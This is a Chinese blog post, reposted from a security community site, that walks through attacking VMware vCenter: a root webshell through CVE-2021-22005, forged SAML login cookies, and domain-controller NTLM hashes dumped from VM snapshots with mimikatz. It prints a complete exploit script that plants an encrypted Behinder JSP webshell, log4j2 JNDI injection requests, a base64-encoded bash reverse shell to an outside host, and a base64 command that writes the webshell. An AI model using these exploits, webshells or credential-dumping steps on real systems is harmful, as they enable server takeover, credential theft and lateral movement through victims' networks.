记一次VMware vCenter后渗透过程

admin 2024年7月2日17:55:48评论4 views字数 9487阅读31分37秒阅读模式

原文首发在先知社区

https://xz.aliyun.com/t/14893

针对VMware vCenter的介绍就不多说了,大佬们可以自己搜搜。这里只分享过程和踩到的坑点&技巧。

1 坑点&技巧总结

总体流程分为三大步:
拿wenshell-->获取登录Cookie-->获取域控账密/hash(有域控的情况下)

相应的坑点&技巧也分别在不同的阶段说明,不想看过程的佬可以直接看总结:

webshell阶段1. 上传webshell使用https协议2. 存在多个漏洞时,优先使用CVE-2021-22005,因为该漏洞上去权限为root,不用进行提权;log4j2得到的shell一般也是root权限3. 使用log4j2 Poc 时,注意/sso后面的域名信息

获取登录Cookie阶段
1. 3gstudent大佬优化的脚本,获取Cookie时省去了装某些Python环境的麻烦
2. 下载data.mdb文件后,分析不出证书,可以重新下载或者将脚本上传到目标服务器试试;
3. 获取到Cookie后,在IP后拼接/ui访问进入控制台页面
4. 在控制台生成的快照可能不在本机,需要在相似名字的辅助机器找找;

获取域控账密/hash阶段
1. 可以使用VM安装目录自带的Vmss2core,vmem和vmsn文件转储为dmp文件

过程如下:

1 获取webshell

1、指纹识别

拿到资产
https ://10.x.x.x

记一次VMware vCenter后渗透过程

棱洞识别效果:

记一次VMware vCenter后渗透过程

2、判断版本

https ://x.x.x.x/sdk/vimServiceVersions.xml

记一次VMware vCenter后渗透过程

3、CVE-2021-22005

这里使用的是cve-2021-22005,所以就只介绍这个漏洞,影响范围:
● vCenter Server 7.0 < 7.0 U2c build-18356314
● vCenter Server 6.7 < 6.7 U3o build-18485166
● Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
● Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
● 6.7 vCenters Windows版本不受影响
使用exp.py上传马儿(exp文末给出):

记一次VMware vCenter后渗透过程

然而

记一次VMware vCenter后渗透过程

这里以为是有什么防护软件,结果发现是协议或者端口问题,只能利用https去上传马儿:

记一次VMware vCenter后渗透过程

冰蝎连接:root权限

记一次VMware vCenter后渗透过程

这里给出Linux下,上传的shell地址(方便后面log4j2上传webshell):

/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/

2 获取vCenter Cookie登录

存储关键身份验证信息数据位置:
•Linux:
/storage/db/vmware-vmdir/data.mdb
•Windows
C:ProgramDataVMwarevCenterServerdatavmdirddata.mdb

脚本一

咱们这里是Linux

记一次VMware vCenter后渗透过程

将data.mdb下载下来。
然后下载解密脚本

https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py

pip3 install -r requirements.txt
OK啊,不出意料的报错了!

记一次VMware vCenter后渗透过程

环境问题可能会浪费很多时间,回头不行再看,这里换个脚本。

脚本二

该脚本是经过大佬优化的,省去了装环境的麻烦。详情见:

https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates

先使用这个脚本,生成如下三个文件(如果data.mdb文件太大,就可以将该脚本上传到服务器上,然后生成下面三个文件):

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

记一次VMware vCenter后渗透过程

这里重命名为1.py了:
python3 1.py data.mdb

记一次VMware vCenter后渗透过程

再使用这个脚本:

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

生成cookie:

python 2.py 10.x.x.x 10.x.x.x vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt

其中vsphere.local是上一步获取到的Domain

记一次VMware vCenter后渗透过程

获取cookie:

记一次VMware vCenter后渗透过程

然后访问,F12添加cookie:

记一次VMware vCenter后渗透过程

添加完后注意,不要直接刷新,而是访问https: //ip/ui,否则就会这样

记一次VMware vCenter后渗透过程

这里在URL地址栏,拼接/ui刷新后即可进来:

记一次VMware vCenter后渗透过程

3 获取域控账密/hash

进到控制台后,如果发现域控机器,就可以使用生成快照,然后用工具分析快照文件抓hash。
因为机器都是生产相关的机器,不能使用克隆虚拟机等的骚操作,所以这里只介绍生成快照的方式。

方法一:Volatility来取证获取hash
方法二:Vmss2core Dump hash

前期获取快照的方式都是一样的,如下所示:
如图,生成快照

记一次VMware vCenter后渗透过程

数据存储中翻文件,找刚生成的快照:不确定的话两个都找找

记一次VMware vCenter后渗透过程

这里找了好久没找到,最后发现快照在辅助域控的机器上生成:
然后就是下载。

记一次VMware vCenter后渗透过程

方式一 volatility

使用volatility分析:

https://github.com/volatilityfoundation/volatility
https://github.com/volatilityfoundation/volatility3

记一次VMware vCenter后渗透过程

没分析出来。
volatility和volatility3都试了不行,遂放弃。

方式二 Vmss2core

该工具,在VM安装目录下自带,就不用去别的地方下载了。选中VM图标,右键“打开文件位置”即可。

记一次VMware vCenter后渗透过程

需要注意的是,不能把他复制出来使用,直接把vmem和vmsn文件,复制到vmss2core所在目录即可:

记一次VMware vCenter后渗透过程

目标 VMMicrosoft Windows 8/8.1Windows Server 2012Windows Server 2016Windows Server 2019,则执行-W8,否则使用-W
vmss2core.exe -W8 "Snapshot42.vmsn" "Snapshot42.vmem"

执行成功,会生成memory.dmp文件,如下图所示:

记一次VMware vCenter后渗透过程

记一次VMware vCenter后渗透过程

接下来就是用Windbg分析了,下载链接如下:

https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/

安装过程没什么难的,就不说了。
装好后点击左上角“文件”,然后按图所示一次打开dmp文件:

记一次VMware vCenter后渗透过程

然后找到mimikatz的安装目录,加载mimilib.dll:
给出mimikatz的下载链接:

https://github.com/gentilkiwi/mimikatz/releases
.load D:ToolsAnalysis Toolsmimikatzx64mimilib.dll

记一次VMware vCenter后渗透过程

然后重新加载:

.reload

记一次VMware vCenter后渗透过程

查看lsass.exe进程的内存地址

!process 0 0 lsass.exe

记一次VMware vCenter后渗透过程

换到lsass.exe进程中

.process /r /p ffffe001c2ddf080

记一次VMware vCenter后渗透过程

运行mimikatz,得到NTLM哈希值:

!mimikatz

记一次VMware vCenter后渗透过程

后续就是验证hash,横向了。

4 log4j2 注意事项

注意这里有个坑,不能盲目使用Poc:
如果访问https ://ip :port,跳转到了某个域名链接,那么/SSO/后面跟的就是该域名domain.com,如:

记一次VMware vCenter后渗透过程

GET /websso/SAML2/SSO/domain.com?SAMLRequest= HTTP/1.1
Host: 10.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Forwarded-For: ${jndi:ldap://x.x.x.x:1389/TomcatBypass/TomcatEcho}
cmd: whoami

否则就是vsphere.local

GET  HTTP/1.1
Host: 10.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Forwarded-For: ${jndi:ldap://x.x.x.x:1389/TomcatBypass/TomcatEcho}
cmd: whoami

说白了,就是使用正确的URL。

反弹shell可以使用

echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4zLjEuMS8zMzMzMyAwPiYx | base64 -d |bash

这样子操作不太方便,不想进行添加用户/写公钥等复杂操作的话,我们写入冰蝎马:
路径为:

/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/

命令为:

echo -n c3VjY2VzcyE8JUBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIlPjwlIWNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX0lPjwlaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpe1N0cmluZyBrPSJlNDVlMzI5ZmViNWQ5MjViIjtzZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTtDaXBoZXIgYz1DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpO2MuaW5pdCgyLG5ldyBTZWNyZXRLZXlTcGVjKGsuZ2V0Qnl0ZXMoKSwiQUVTIikpO25ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGMuZG9GaW5hbChuZXcgc3VuLm1pc2MuQkFTRTY0RGVjb2RlcigpLmRlY29kZUJ1ZmZlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpKSkubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpO30lPg== | base64 -d  > pgtest.jsp

记一次VMware vCenter后渗透过程

然后访问:
https ://10.x.x.x/idm/..;/pgtest.jsp

记一次VMware vCenter后渗透过程

冰蝎连接,密码是rebeyond

记一次VMware vCenter后渗透过程

接下来就是上面获取Cookie的重复操作了。

附cve-2021-22005exp:

# -*- coding: utf-8 -*-
import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

def escape(_str):
_str = _str.replace("&", "&amp;")
_str = _str.replace("<", "&lt;")
_str = _str.replace(">", "&gt;")
_str = _str.replace(""", "&quot;")
return _str

def str_to_escaped_unicode(arg_str):
escaped_str = ''
for s in arg_str:
val = ord(s)
esc_uni = "\u{:04x}".format(val)
escaped_str += esc_uni
return escaped_str

def createAgent(target, agent_name, log_param):

url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
headers = { "Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0",
"X-Deployment-Secret": "abc",
"Content-Type": "application/json",
"Connection": "close" }

json_data = { "manifestSpec":{},
"objectType": "a2",
"collectionTriggerDataNeeded": True,
"deploymentDataNeeded":True,
"resultNeeded": True,
"signalCollectionCompleted":True,
"localManifestPath": "a7",
"localPayloadPath": "a8",
"localObfuscationMapPath": "a9" }

requests.post(url, headers=headers, json=json_data, verify=False)

def generate_manifest(webshell_location, webshell):

manifestData = """<manifest recommendedPageSize="500">
<request>
<query name="vir:VCenter">
<constraint>
<targetType>ServiceInstance</targetType>
</constraint>
<propertySpec>
<propertyNames>content.about.instanceUuid</propertyNames>
<propertyNames>content.about.osType</propertyNames>
<propertyNames>content.about.build</propertyNames>
<propertyNames>content.about.version</propertyNames>
</propertySpec>
</query>
</request>
<cdfMapping>
<indepedentResultsMapping>
<resultSetMappings>
<entry>
<key>vir:VCenter</key>
<value>
<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
<resourceItemToJsonLdMapping>
<forType>ServiceInstance</forType>
<mappingCode><![CDATA[
#set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
#set($orig_log = $appender.getFile())##
#set($logger = $GLOBAL-logger.logger.parent)##
$appender.setFile("%s")##
$appender.activateOptions()##
$logger.warn("%s")##
$appender.setFile($orig_log)##
$appender.activateOptions()##]]>
</mappingCode>
</resourceItemToJsonLdMapping>
</value>
</value>
</entry>
</resultSetMappings>
</indepedentResultsMapping>
</cdfMapping>
<requestSchedules>
<schedule interval="1h">
<queries>
<query>vir:VCenter</query>
</queries>
</schedule>
</requestSchedules>
</manifest>""" % (webshell_location, webshell)

return manifestData

def arg():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help = "Target", required = True)
args = parser.parse_args()
target = args.target
print("[*] Target: %s" % target)
return target

def exec():
target = arg()
# Variables
webshell_param = id_generator(6)
log_param = id_generator(6)
agent_name = id_generator(6)
shell_name = "test.jsp"
#webshell = """<% out.println("test");%>"""
webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""

webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
webshell = str_to_escaped_unicode(webshell)
manifestData = generate_manifest(webshell_location,webshell)
print("[*] Creating Agent")
createAgent(target, agent_name, log_param)
url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
headers = {"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0",
"X-Deployment-Secret": "abc",
"Content-Type": "application/json",
"Connection": "close"}
json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
requests.post(url, headers=headers, json=json_data, verify=False)
#webshell
url = "%s/idm/..;/%s" % (target, shell_name)
code = requests.get(url=url, headers=headers,verify=False).status_code
if code != "404":
print("shell: %s" % url)
print("password: rebeyond" )

else:
print("not found test.jsp")

if __name__ == '__main__':
exec()

参考:
https://daidaitiehanhan.github.io/2022/04/18/vCenter2021%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%90%8E%E6%B8%97%E9%80%8F/#%E5%90%8E%E6%B8%97%E9%80%8F
https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates
https://mp.weixin.qq.com/s/4JF0Hyqt38JW1VeCAG1qOg?version=4.1.26.6024&platform=win&nwr_flag=1#wechat_redirect

 

原文始发于微信公众号(亿人安全):攻防|记一次VMware vCenter后渗透过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月2日17:55:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次VMware vCenter后渗透过程https://cn-sec.com/archives/2904158.html

发表评论

匿名网友 填写信息